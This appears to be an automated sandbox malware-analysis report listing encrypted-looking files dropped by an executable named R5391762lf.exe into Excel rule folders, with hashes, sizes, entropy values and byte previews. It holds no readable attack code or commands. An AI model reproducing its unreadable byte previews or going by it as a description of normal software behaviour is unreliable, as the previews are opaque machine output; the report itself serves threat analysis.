SSDEEP:	12:YL2TaDjZKRzkRxju9k2gPv66jlUuGTk5Z7Ihru4y61JgAOntgHra+FONyyLzg9NQ:YiUYFONYgtDTOhru4y6/Hra+KhzgIDXp
MD5:	1B915978DF84C992A475D241AFA95015
SHA1:	E5139329D0FF36AB2608D924B9C3E9D59401469A
SHA-256:	1A8E9E37842A8E544B062BC0617A6688ADC2068F514F52FDC9AD6E02F194A421
SHA-512:	611793ED933DE565321B7349B8B6888F43BA861213D73BA5E78329B4FF13C134F3FFA5136ED426FEEBA4298F2A094C9E6A9C4B583B46FD2A894BEC270AB88BCB
Malicious:	false
Preview:	<?xmlP..7.B.v9.:%..U.z.N..........2j..y.....J...........$.Y..jE....#.c:....\..Fk..1.I.E.........W.t....g....?i......"E+6.=.:...X....^s....M.-c...A.0...:.c.....,....6..F..^..n.qb...B.07....i...]._U31 {H....UR.U...j.@...v...l..........Z....[....H..@...3;o.bY.i3;.....q.....;/....KK...J.q.=.#.aj.].O.7...Z...85a.\|p.>.HRM.?...V<..-.?#}>G@N^..y...B..N8.v...G.....(..].x\..Aym.K.}.....+...qal..kv...sgB.5...jX..1..@.;I....r.!.\...`....@y..$.x..f.7Lzt..j.M.E.E.C....,}Q~.b....Q^.d..D...x...'.k\|....@....V...$eB.i.%.......z...l...t}.B/.a..$..h..0h./...^.L.JApB.b...3...C.Q..01<....M..`..e..k..#....doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180135v4.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2212
Entropy (8bit):	7.908914326906712
Encrypted:	false
SSDEEP:	48:XdwBrAPtX6vqsUm7ewGm5ZIa4up3S1lJCsEh5AWdIXFuED:NwB8PGqsUgG+0S3SxeAWkFuQ
MD5:	F18569DB70E65F9B8B43EAAA8A752A98
SHA1:	329D18E908DE9234D3DD2165138D2645C5D16D29
SHA-256:	D9A14AAFE5A21037A51D04DD5A8541EF392826CB0E1501397C72041A12F2C738
SHA-512:	A985A5B979D1EF3AE46E437922F8E756C1C3D2B909F1EF42DB2E8F06A76174511AD4C632F4FA107268C1B2C9632B8181988646042146C1301F6BBEA558B306C9
Malicious:	false
Preview:	<?xml..t....Kke..<...n.......I...?H..Ow.4..w+.\kvG.Sx'..%"...e.S\|.....Fap....#`.H..d.y.s>.^,4.xi..7....h{.... U<^...Om......\Cx.J..o........=.6"....q...B.8...%v..Nj8,ChD..%D.G.u1..1-/.\v.s.!.d..H.....3....0-...D.!.H...$H...6..L..p. V\....X..U...........%..1.}h....R.......4.p......#..Z.v....>:b>...K.......@f...u"[yI...d..\|....:.....Eb.3%..X...A~......`..}.....A..%...Y..I...mR.o.57..t\|.E(.5....U.4..H..=>.....b....i.....j......b0Xh\|.4.T1...7.s..f...H.....E.....<..y]~....3...\4WI....`..I...HTN.p...Do{..9`3...<Qw......c] ..3m...L(.T....yh.DNt}g=xAO......@`......Y....@=,......<...0.......}T..5... @..S.(....>.FT.....T..U8.=..`$h]...t]~]._o.R\..7.s...O........u.v..!g.E.bt._..e...3"...U.\|..1...c$.3/.....~....n....}?.".......`.g"p.OM.+...Ljs)..^...e_.}....j....-...@.&.....9#...b^.2......i"....~..m.8...\....!...\....D....=......w.......1.T..."")...R.{N..e.....b.j.y0..m..`.........+...e..........!.a....p.3^..V.y.........B.uJ#.....PA.V..1.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180136v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3315
Entropy (8bit):	7.940249158581561
Encrypted:	false
SSDEEP:	96:fhS8wH47m5wUCoZCY8argXuMT1NB9IzLdAl45yyGgnDYFuQ:JQNwcRyT1lIz2kdvnXQ
MD5:	E8A27BA32BCD3663C11C3BFD2FBF8206
SHA1:	5F07252136E9BFAA6D05B93261EBA7140EEC236C
SHA-256:	8424C0CA4633C81A10EA46E315AADC97D67F639F76E68D719A2FD54CC8AEC67B
SHA-512:	A9B456D7E8A7FE2FFFC332AC8C30E2DB70748FF5EB37AD594762333C5BF384032CA064A245C948466AB5AD5327F9108578591CB757794B6C442C4BD979506688
Malicious:	false
Preview:	<?xml..C.f..@?.}h.....Z.3..I..L.uP+l..].}XF`....0.-.p...........\ah.N.5.3..........:!........,4.qb/...}..T...5...J..Z;.K....t}3u..:..Z.3.#...Y(...K.5.<./......>i~.c.b4.#YH..D....b{..Q...`..F...7.X.{.e...:nR&..F..R~#W...k]..0H(.yc..k...8...-8....y...DV....o.8.}.b.I#<Z"\l@T>..A\4....o.-.'p5.u.....j...3.:].\|._.0.wy......n.I?..p.....O..?....}.%..!<N..(F..?...g.W.1a......KiR}....K=.)i4.$.EWk,{k.b..q.K.......c^V...Cz.vH...e/.-d....+.....~]...'..N..@.K...KmNz.K.B.%9....,DF..W.S.....(.IR}..e.R.<M...8^.ho.>....~w.a^U..k.0.?..-......4.L.....-...."...._.Z......1.4.A.>G....#1 .[.<..9.i.d..s...P..'.......[R..+.. Hj#v.mJ'...3...<.3.F.N.."..D...0..6...e..H...x..y.k...:.p.{..~k/-."...b..H....C.. .\@......P..7...].:."u.`.A.z....M.}..%g\fD.V.I...MT}Ef..[4a...{......%.i]k............97.K...N.Q..<.3Yb.<c.2i.}.0..%Q.....G....B.....8..{G...:.w...:.....M....HX!..c.6..#,.q}.h../....<..K...P.../.p.T.\.\.MLe...8.J......"n.q.....Q......)(m.kG..-Ec..-gr.$.f.....s..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180143v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	7.867399320395211
Encrypted:	false
SSDEEP:	24:QIsPjQCj/tZn8Zhdz11VMs2QefD8JGmqRhWnW+kD5yiAVRQu+Vleh9hSDXq8uWbD:QI+NTeCP7D8wmqRQnCtyi2RRPh4XFuED
MD5:	6205F303CD1DDF49D5BCF6E717D1213A
SHA1:	80780912E36115AB7A5DCFE1CCABBB564FA3668F
SHA-256:	8E53E26990A7926155709CBACBA446DC50A3F185BDF0EFA69E406848F385AF2A
SHA-512:	306C8EBA66D60BAAA28286B616A5FB13F37E7C42C254417871C646807BA44723293A6AA576EE44D7341B324D3DA98927D391567341A9D07F36F33E4F2CC1E11D
Malicious:	false
Preview:	<?xmlbxzE.XG..I.W...Q.n.6...%...G..K&.....T...X....T[+.Rc;......"..R0_..9x5./o_.2.Q8]r.t!.... ..%i..m....6.8..&f6.=..W...w.....i...fL.Z.g..e..9pj...o..c.X2...R.m..1.........Z.......F.L.......X...m....Q...2...0.. U....l8.&..a....B.J.......n...N..G...E.-k........f...$w.kR.:MN..m..v@...?~W.HS.Q.N.j....)e....R..w....\|....2.\|...b.{.~?....K..".u.....P......p.<.o....A.j.'..f'X..O].......K%.....5..[.t.."f....$...........B..7%.?K....2..."j.g)......e/b.;~s.I...RN~....y....[I..I...##f.WZ.....+..W.. DX..w.n%....n..U~.....v..G...j...7.%Y..V".;F....9..Q.V...H...z@.R.....P....:.i..ac0.4[...-.....M@..6I0...qy.).}u..l.-....@0...fIPP<y6...../.:..~.t5...x..].M.`.b.........0h.l....VK..0[.>1.t.W....FF?(m....}b..\|U.i..l.m&..w..>'3.e...,p.....]...\|)......rY...k.....Q.`.......R....'.......A.+:..DY/nz.4.0<....^<.....W....../l}...R....H...1....d..ZK.9..(..c\|..B8.>.;.8.r.J..u.sa..1.Z...)...B..i.h.....TS..^&.$..5m9.y.Ck."...".....].6.s..37b..5.mU.....^...W...6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180159v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1638
Entropy (8bit):	7.882110932231753
Encrypted:	false
SSDEEP:	48:vNb5CSgnM/jPz/4fV7fVi9w+naajETVodKOhaYkLK+KXFuED:vh5CSYM3/EfYOsATudKnYkvAFuQ
MD5:	0FBC893B797F4012F4CDCEC28AA50A67
SHA1:	B5D00F77972BE563737BB39D72AB2109B5DC0F07
SHA-256:	5BA4416367226A098CC2F4F7ECD8282A811A50544BD7240D3FF0F73EE2707468
SHA-512:	BA7DA35B62F90CAD150A53740925C4581605FD6E55E25C8108EDCE0EEF23CF17A01717542F24945F7ADD68CDB479EF6B83F11479F6DE22D5794937A7657426C6
Malicious:	false
Preview:	<?xml&H.B.z...FU......$..Yi.=....!.\n.v..y..4b....3r#.$.roFM.81^tL.l.V.?.2.G.L..B.....+./A...l2.......g.V.a.G.1...P..!.m....U...I..d.L...A(......0.+....]..1.>...o..\...................+.P.....h5.T....w-r.@N).....k..\|P.KO.....#..t".r."[...~.B.Z...5....MG..p..4...B......0........(q...{$.E..Y..R.._.e....M.A.........P.....RX......{5.t1;..W.L....#..6:"=/.8....$57?<.K.......^...!..x/e>._1....@ezc@.8e&.Q..=..!.{.1.X...L^K.e...DV...U.d.,W@.W.y....heU.....iM.z".k..B....~<l.,4.8...X^ ........E...!#.7.B/.....G....)y.-".D........?.."..6/.I.g`.0.`{..5.4.....z.t.`p..Y.t-X...!....%.u......K..TD&./.n..'wi..4C...P.l}>..q}.Yq.ioi.y.....b.z...HW.~..?.i.i...P,i.....7..6GU.......l...M.4w.7.}....Z?\|>Vr....vE6............j0..].7..[2.Gu..G.S...i../.r5FUw.n.W.ZY!6XM;...U...-A..$...Q....A.......^:...b..U.)F6.....@k.kp....Vg.....n.L+.U8AJ...[.[.R..?B.&.7I>W..O(...K.,Tct-.f..u{...%..A<.......Y..`u8E.\|...B.....b..n..p../B"P1..s.I.6.%.>..CF...m.t.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180160v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1521
Entropy (8bit):	7.88179219821806
Encrypted:	false
SSDEEP:	24:sQJEqQSPmPEOshCJuuZfSJTS8cNda/fC4uwXvxliiCknx9BxRMAP+QMVvQ9YsUoe:s0QS+PE1hCYTJTBcTkf7HskniAP+oYsm
MD5:	BB74F3D82AE0465AAB5EEC36F7206C2A
SHA1:	A8B227C51A4FD019DD996FEE99980315312EF5F7
SHA-256:	3D1BCEC2F0C8563074DD52F76DDF4EED1F68A2138FE9D18602FBC7030EE917B8
SHA-512:	D5E898AC0A77285107CAD706910CDE96195104666258A39A18465025D5BDCF64DC02872B4E79CBB54BF517C02D5DBE16FC233FDAB433AAED8F1C193182F4E7BE
Malicious:	false
Preview:	<?xml(.;w...<.X.3.&.....nzz_./.iV.4..[...c.......l..7k.+...Pb..\....}...@..OEjDs\..:......>...,.>..1b.&b....z...BR.:..$...Hj.(..w...z...Rz..9z..v......6..b....,e...".N..6.'a...[..j..j....P\|.B ..+).L.3PY'....N..CYT...6Q..ty.....s..Q.....X]......M..{.)...A..7.....(.>.....>..?j..]4.O2J.=..]& ]M'.>}.<"...7..b..g."@bs9.fO...=d..J.....{........V...Xt...F...OsD.....7- ...&.S.H..xazb..gp.b...6...e..3...@.9..}..oKnU..fi~...3.;.K......R..T.....y$].K..y..k.,..8...6\|..-.....=-].&nmh.v...r:K.~.....A.wfkK..F.e..iGdF......G.}....v....L....~r'..;..l......C..I../YC{y.b.....&zc+?...=..<.x;....$H.W.#....~H.5...$kg...<................[..Yh.......Ewt..pvA...'.....Ajz......*.=@8o8..y8.J.?..WF.}."..bA.].T...i.._..eNx.D.......oVG...s.Ai_r.."`..-.....W..c..zH~.n.j ..Jm.lDYz`....!.Q......C5dy2..e.d......ZGT.R..f..n..9:.8..b...s.....u.....j...O.....U....Z........YS.0qxb/...N...c.?L..... hP.\5L....%..[8...WL. .&..Ale.u...p..um0.....$........y,.'=....:.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180161v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1975
Entropy (8bit):	7.892414152900904
Encrypted:	false
SSDEEP:	48:NN/+01LEd3xmBOeIZrhf9BqFAB/9Us/fZPyFZXFuED:N40tExm4lZdq6Bl5/fZPyFpFuQ
MD5:	78C0BDEB474BD86F6EC576659C0E56EB
SHA1:	37C83228E2CEB030647C9248462A612ABE551BD7
SHA-256:	D49D9BEF5DA3A44E4BC29CD2C79E3042B4B0E7AE2D5461A08C3F85C32C700A18
SHA-512:	7C3290A27FC82ABF91027CC65864F0D5906094EAB2409E859A61CF30207CC46FD33E65D5B931C3D7A8E926567B4DDD5A61C03B3625B5FA02D01E233FAE5D0F56
Malicious:	false
Preview:	<?xml.2....J.Y.N..p.q.....r.[..G}..wUv%8.9..!...q..[~...A.~...c.V+..v1.)<1y...B...v\|...~E.~6.&.z.r.#.........N..y.V ...~f1...@....O..J..y..M~"...{(5..f..G..Z._......M...c.L..~...7..)'.9...H...{Tg!j..,/8....S.sE.j...R.......C.,..zk...%...g.,...a.<.q.......P...t....n..~...=....m.Mr0.....6.iC'...S...s..8..".N#..q..\|biE.!.F.@.n.%.,.o..=.........$=............^{...........>..K.j........!.....+..9...#"..M..!.....................'6[ .z.(...XIu.\|i...n..H....]..m..%.B .......{.......$Q...U.M<....CJZ{......4..U.....Hv.;.)r..%..._I.'..._..I......N.z.Jm(>.c$..>....E.......l,Y.a..a.he....KB.t._.....(tD.a......\./..k.~.5...n...E..!.!....Z..U?+m...".k...^!O4..#{..^.F.A......".Y.,...:Z..b...!.X...Y.yv.....E.,D....y%.....yGn._..F.....Zx.....y).Q.3.D....7...... '..."..7.r\|!.Cx..J.S..g9L.R...tw.G....Gc4.W..Pd..E..G+.5.V..q."}H.5...}G.V..GGT4.,..=k..]..R...s).F:.....C..>.......x.\|.UmB.>x.-X.@..x.n.HX.@.+....k..~x~'w..p.^.t..o.z.s...E...*/.WtG..,[. ......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180162v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1639
Entropy (8bit):	7.870943303923318
Encrypted:	false
SSDEEP:	48:u49U3m5eUXhTbveK5M+w4XYZmQ6TaY6Cgp6o5PmXFuED:u9m5eA5xXYZmQnY7gp6oB0FuQ
MD5:	FF52CA166F917D6CB3C004103F3D3CA9
SHA1:	7E064F85FD21621D59F8B0369477E16B66685461
SHA-256:	2EC8D257E7613C1148ADFBF9AED3F66C096B151F3E63A2047E76CE8792A901E6
SHA-512:	AC597388DFBB88CB54F1FA0A56D8D42F47F919DACEE8146E7664CC741EC9DD144C1A7148CEBC313808313963E5E8EBD15750F660941852A2C3AA3266857FC04F
Malicious:	false
Preview:	<?xml."....533...!.a....w.?4k.$....]NI..s.8..`...-.U............W~.u.%..\:..j-.S....=.....S.$..V.o.C.8f..p...M.,y....;.n..^.~...hQ..=.RJ$Q...t...Uo......'.i.).P..I.wA..=.\=.q........dzy_..........zc...!...Z.+.-..Z^+.....@W^.MP....Z..G..H'R%%.VNg+k..4..N.I.C-..........:A.av....f.....&~.3..w..W.o.....3..8....p0.."5.f.N...S.....K...{.[...D0>m..'.4....!.q....$....Hpr.....j1.........1..j....w.Y..}.6......Y.x/......._.r.w........bM...f.Z:6..C.H.4....s?..FC.a..a{..3}).jQt.X...#...m.r.D..-d.......z......10r..=@....X..G&..3....K%...."...&_#.0....g..\|./.v..j.n...............$..qr.....V.t+.B.....r....h..2t..8.6...0..o....K..P.`.0..\3^.#.H.+L?..^.!.H.."..V...K}9/../...h<+...9G..n.....9....6.U...:...r....t.?...e.......I.X.u....?. fA..z..g..V...}<..d......0"..5]..C......%...y.z=..}.....YD.BY...u....,.....F.......(....".<...kp.`...x....GN~...=..{th%..i.F....)$-X.w..no...f...n.X)..t.w.....^.......".d.....qF>o.X.B...B]KG9 .G.u[.{..8.e.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180163v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	714
Entropy (8bit):	7.636458642513702
Encrypted:	false
SSDEEP:	12:Q13prFL1llpe7ZE2UvB6SBryyV8SRePho7qVA30Gk7hJczQATAjRvk8XqOTuWciD:EFLni7ZErvRkvhoOVA30GYjczwM8Xq8X
MD5:	D556524EF80B3BB1F62D4AE1845E204D
SHA1:	E1E6B5EB130CCF4D551587E6675E2BC243E2B659
SHA-256:	A0BCD479EB42CDE36DBC45F74CF74B1CA590446F04AD012F7FFDD42AA72C156D
SHA-512:	83E0BCC40D23624265AFF308E302E690B06369B9EC2CAD34A77992C582A08FF09ABB46A2AF6248B3602E6191B7171E23FA179D07F717405F794D9CA805100549
Malicious:	false
Preview:	<?xmlP......a...V7..K$m.e...._.5.".j......ox.......Q..Af+w../qML..B4.q...@.M5....k..6..}B..H..G...o...G.o...fY...P1.4.T.....8.rg?...@OlJ...g.R...8.......\|.........$..4g......s........s.Q#.ni..o..%PaW...}.c.m.o.W?o.Nt.YP..$3!.p...6.aLT.Q<q.\..Y.I.a...T.~..q2.w...1.a...K.mT...Bf..&..3b(.....O.J..n.P.R8..<...~.4Q.g_./z...l..R..CV_M-........m.^...c...!u......q....Ma[O..N....f9[$f.....r.=.H..3'...X.j.q6;......WK/...s..A..b...Sm.h"'..YW.' ......Q..VgL.*Rn...)..7..i.%.UlC...I...F..U...&.qV.k....vI}..Q....@..Dk.&.o?....b<-a.y.....,$Y..xJ7z:B.._...@..W.M.3...]eL..;.l)W..`..WZ...<p.._.........@...^..[0.i...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180177v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	7.891349869814402
Encrypted:	false
SSDEEP:	48:y/VRG9FpEEFY01Gugup7HL4twG+/czeXFuED:y/y9FeAR1H0CrcgFuQ
MD5:	CFA03F5438A481D2259E4FA0606D4FAB
SHA1:	52F57DF42E26DF259B204182139F769F413AC56E
SHA-256:	1A48D3E37F719C374388C8D9ED26A678982F6F483FB5F7C896CF6E0C384B4593
SHA-512:	E4882508EEC9BC15A675CF65D776EB574A26DAC78084002861521ED734D7E13D7BFF1CB25EEEC8909ECE3ECDB5DFF062887D02B7DDEBA1FEE3C1FC88C73C2EEF
Malicious:	false
Preview:	<?xml..\|..\|..[......+.GS.;..3%<y.NpxR......(Y3.W...x.......X.....(v/\|w.......F...X..FJ....QO..b.....Zk].(.O.=..}........=.I..F..;...h.6w.....i...."3....;:.F.^}.}.K7.h....JS(P2..7.S%.$D.......q"...?A.\|_;JP......6..v......."8.9*.7.7..c."7.s_..;[....P?......$.h:.v..[...V.e.m....=..M...K.....keq..]..j....\'.K]..g..c....Snx.P....XMJ-..}.)..k.C....m..s>H'.....+.+..f......6aW..0.g.....D...2.ixz...z.83..t.W...".5.1.......&...'...D..../H58...n...F6\|}..;{...L..C....C.v..6......w.K.c!...#..........$mY......3@Ez........e+.5.?...9..o.H.Y....v.]..s.}=...c.q..PI.[#.T.....[...SX.0.!...In$....B..n.k.2.X......u...n.y......I....y.a..s>h.ozs.K 1....O.U.).c.8....................:X..E?.uM.,.<..J..........VH.:.'.;.r.k.Zi...H....\Y.U0K...`....C...f....^A...E)@.jH.A.y.H;.#:....C.]B.8o.~... .OeqRAP.3}.....nb/..~=.5G.Tx.{...ch...>D...,....>-.....U\.ED..J.AGf....5...$'..E.0._...g;.qU.:c.\\~.-......n.T$A.p..U....SQ.. ..........#UB.~.}A...x9.Ph..+t...".cD=.r..B....\.}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180178v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1251
Entropy (8bit):	7.855505454905327
Encrypted:	false
SSDEEP:	24:Bq+jXYrncFisg6oVBQTSA6p7MV+TOeLcZwhdxDVZ+KJpAXq8uWbD:JjIrcsk8AV+tcqxDVTAXFuED
MD5:	5FE8C51046DB350AB49E56008B7E5B7C
SHA1:	E3E30CB35A9025C8203386ECC3D3CF46DA350774
SHA-256:	05ACDB22ABB2752F5C81113D457FD0C40DC0D163DE730583A0D969FDE1EDD0D0
SHA-512:	1AD4B8BEEF671F205553E341161D76AFE02D512080AAFCBCAAA57A0158F8DBA849EA392878821A310CFB7EFBCB6D260C35BE6EB70BEEB127434CB997E4ED56BC
Malicious:	false
Preview:	<?xml..U).........S...Hp..N..k..hs.-.2.O.]..(..x.Cp&r7...Q..#.5..)eh...mE.c..x..L....J?..-)wS].Wl.(...+.I...U.<.>!..-...Z..z.B......@s..._.....iBQT.uz.Tj..L.zK'.cz...u.,.3..W......o8X..bHh....;...d..]u.pX.r..[..D..ls..-.Y........}.,.dr^..;...]C$i.b..L...s<ti...R.3........\|....l..u...k....`{.<....n3O.r2.).]..y....\RBK.....dk...v...LE0..?;.\|....L.../.....j.mo3M.q.....].J..*..D....E.z.......z.0..6o1.r..e...7.yo.i..P...s..o..0 XO..!.9....J\.b/.^.Q.84."4..:NJ.o.O....;....Cg....H(...t.4.u.....j.).,a.$.......v.....h.d.....>\.Yn..'....`....2.c..v2..E.2l(........m..B(&!..c.....y.KDr......E..IX.W....[.....e..z.^..]...7!.~a...'.b.S..&V..[.VQI..U..}\|".F.Z.\s......a12.I...P......=...B...!...v....f.....N38. .9...e.Q..]!T..._...L.Dp3Pu...HXtfXL...c..!Y#.5....Z...I.......3....b.......3.)%....<V...+?2q..@.=.fkZ>Z...AF(.A....N.....OK4...O.l....._....)q...m....]\..I...D....X....I...3Uj...a....K6.SK.Ar`./..%...{.P...i.........J...X..4V...`.u..........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180181v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4490
Entropy (8bit):	7.950531427736369
Encrypted:	false
SSDEEP:	96:nwXOHXjbQiA/An9s5oTMr6Fv45GUkBz4VMpfUFlkSEFuQ:nweXjbQL/ASqY6FA5Yz4V0fUHk8Q
MD5:	C824760821927C4485373D0D3FA573D5
SHA1:	47845262C036B418581C433A2B93BC78EF80305A
SHA-256:	DBB5C9ACB1C7C9EF40D1715DBFE0FD5318D95B31B6AC6BF4DFE740DA3160A79C
SHA-512:	445189771EAFAF6239C133E6C9CC514420FB75ABF54A4A20D6DB69C542487BD0A28B8A562355C7D9CBD9963AD0A90B4F51DF22F954FB839E3C6C57CF82CA77DF
Malicious:	false
Preview:	<?xml...6=....x~........5D......[k.O.....}.... #.nt...5.&?.b...Ky.X.8..c..L..z@........vg.-.mNc....h...T.V..k.K .!..'X.. .......@.....N..6.....$.s.=.iz.....I..f...L............/1....I.f0.e......'..#B.X...C`....s....o.4O......o.G..Y..>...)......}..A.....Z...m...f..A..{......0n.]...Y.EB..jV..3.w_..Mi7...(.../..1..`...=).....I....o..O.I42..)Z-.".?.)IP>..?h..3..miiy.J...._)0..G..7y.#...77...Du.j..__. ..X..^.9.8+zB7v./p..e+...L_.....c..!d..0.b.....D....q..`.`E....A...-p\|...L.xAziB.p.p9...V.Y...B....x.Q^"...v.#..\.z-..OQ.L.0.t..B.e.9(.l....gl.Ht..zC.+....'..h..`.-\|4....!...>..S/..aL.......w(z...X.p u$..m..s.: .S.).[....?.FaW..[.dR".................=\y.U!...Akd..G.M..kv../...)}.AY-..'.M....D..M..J.tS...d... ..j.....b.w!D...!..}._u...-~..MY....&.;...f...<...M...}D:.....R\|.....o.z..#r...1. W....O...H....!j._p"6w.)..JHl.......>....KB..3.D....UX... ,._.q.D..TzK^......)......._.,z.../).3.y...o......*..].`....LL>....?}..>..F@cV..u.m../.$P...\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180182v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2316
Entropy (8bit):	7.911588551454083
Encrypted:	false
SSDEEP:	48:We9gXS4gs9NqzSLnxK3h6c9f0svPa4S9TiyN64+PdHJPXFuED:Wug3pmSLnxK3k6jPa4sTiuiHJPFuQ
MD5:	F0F27DB4C964EFBB346CC58066BB34DC
SHA1:	C5F70054834A967E93326E7702E4503756377E59
SHA-256:	3605EA745AD508DA475D379133B40D7B2D0A55ED215E93B36FC222F3F4DE9C23
SHA-512:	ECE27586EE9F46C8F8FDDB57B1B5E108ACE02A51B7DEE81A88A27A1C94FA6B6D51EE35FA22AF25FACBC7C5E0D958BA5A048EE9C14858AA9E3F3552663F3F2F9D
Malicious:	false
Preview:	<?xml..qZ._...w.o5.>..a..".d.2...P.....P."....=.....o.l.....&.N.B.....;o...x..0\|9K.w.v/.O.c..(.O...Y...tP.fT....n...C.....L......;......8.l...c..6.pxE....:\@..GX.7%.+...P..v..4..DJb....7...BZ..i.w..p..GYU..O..}....lr@.....g3.G+........C.[..y...rH...8..m)TA..a.....w.=.......nS.....>L5..eX..E.y..0.. .........$X.Bh.z.,.L.0...........p3...L.....r...@.O.#.q^t.......UYt..{96L\|....XJ...X.B...>.`.(....O.Yp..a.[...7..L.......FC.......xo..a......h].;....-../v.r..?o$m..Mi.O.....]....XrY...l.j....p..'....h.......d.i@...Q..V.{`q...X........i4j.Dm....<`I...K.....~4$A.V...G.?....5.7..`....F.....7.{}.......E.:.B4..Z,Y$..-...r4GB...h......,".......Bo>#...O.C...)+.NG6..Tl.+6....P\|....CE4..X.OX..T.?....?.........&rV.8..Oix.r.c7..0.-.zlJ........0S.<.8.._..!....{3....&.Pn+zF.;T1.I....n$1k.Ta.....>sc._]{t.].......{.....A..!....&.5..,..>....KF....L.S..8..W...`..v.>g.W.Q..&t.-;S&..?.d.......k..*%.....oK.^4.W6-.C......j....1..3..v.F.#.....rR....m....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180183v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2395
Entropy (8bit):	7.922351901715261
Encrypted:	false
SSDEEP:	48:KjWiq/LTbf2Z3Myl7MzlrWrfYTvgQjiEO7LNSH8LFbXFuED:Kj+TH2157MZrWrmFjiEOdSH8LRFuQ
MD5:	A8693C98A68FB30839B981365E909623
SHA1:	80E304BF006943F537798CA08A646939A9F5C4C3
SHA-256:	532F4B271E28F943396DD9E633CF6F7E396233BE3B4C01ADB9A0447CFF2FF585
SHA-512:	81D3A565D044C65892A180BD75F3BA92850BE3644F19FE64BA70A696AE11C465FFAF6490ADE97A0D35778D2CF6AAFFF3DAA81D79B05CD82C4DD5901490A16D96
Malicious:	false
Preview:	<?xml...M.....j~J.......d2.!..#}%C.l .2Z.p.@..]X'5^..\....\|y...G..#........+m...u..._.u.....Y.$BG.....l...~w.P.Gc4...t(jd..B..G..R..b....L....^Ei.."..G...m......Fp...1.....O.B...m...G.i..-...j.=...<p.].$H........v.....v..\|...z+.A.xE.\|0j.`............,a3....R...j/....l...>.O....8.s..q..m...2..w.`.....a-7^!..//.J.F..WR...J.........,.......,y......,.....q.Z.%...w.......gA....OO......w,X.......o.KM.\Z.f..a.I..W"HK....z..S."....OH...0...).z..].....[......T.'A`.>J."{.V....Y.&.&.&l}.....5._.Ud./...X.. ..^.T.vD.V..'b...?..W/[.Xs.d....yq.@....H...Skx7.\....t.....T.P.`b..>NX.....y..:.E..V&.(n..lW,.tb...d......J...?.....R.m.t..y..tCi>...3L.....`...3.sD.8a\|.kX.$?...y......tR...G%.w..V39..s\&...~...I.p..88f...-....,$/......q_..A.OHZP..k.V#]^.g(Y..=vh..3M....Q..I8.^.s..c.[.HBi.cug...U....8...........X..+...K..U.F<...W.C..&,.h.............c-87+...c........63...GV....v......m..?)+{.<.f.J.x#..]....q...T.a.GL.D....?...$x..&..?...#.E...jM.Lx...IQyF

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180195v2.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1591
Entropy (8bit):	7.868367646889823
Encrypted:	false
SSDEEP:	48:f/Iv6SBF/JkU2y0059bLq3b2hJIUx0157x/o7KXFuED:bSn/X51LbLq3f71lxA7AFuQ
MD5:	C60203D120022C452D2C75CE089F85A6
SHA1:	6476A72B1BE3E8E38A32FF41917E44028BE94641
SHA-256:	58399C6A3FE5CD483433F6807E54644A7F9C886A278D2FDF11FBDCA587DCC4B2
SHA-512:	9C0C72CF04F64FCF72EFEE353F1F017A19F5CA45D5F25CCB895E52416A14BF1F742E2D70C1E0A0A19F26E62068892E1D310667A24A9CCECB44B40A6E475EF240
Malicious:	false
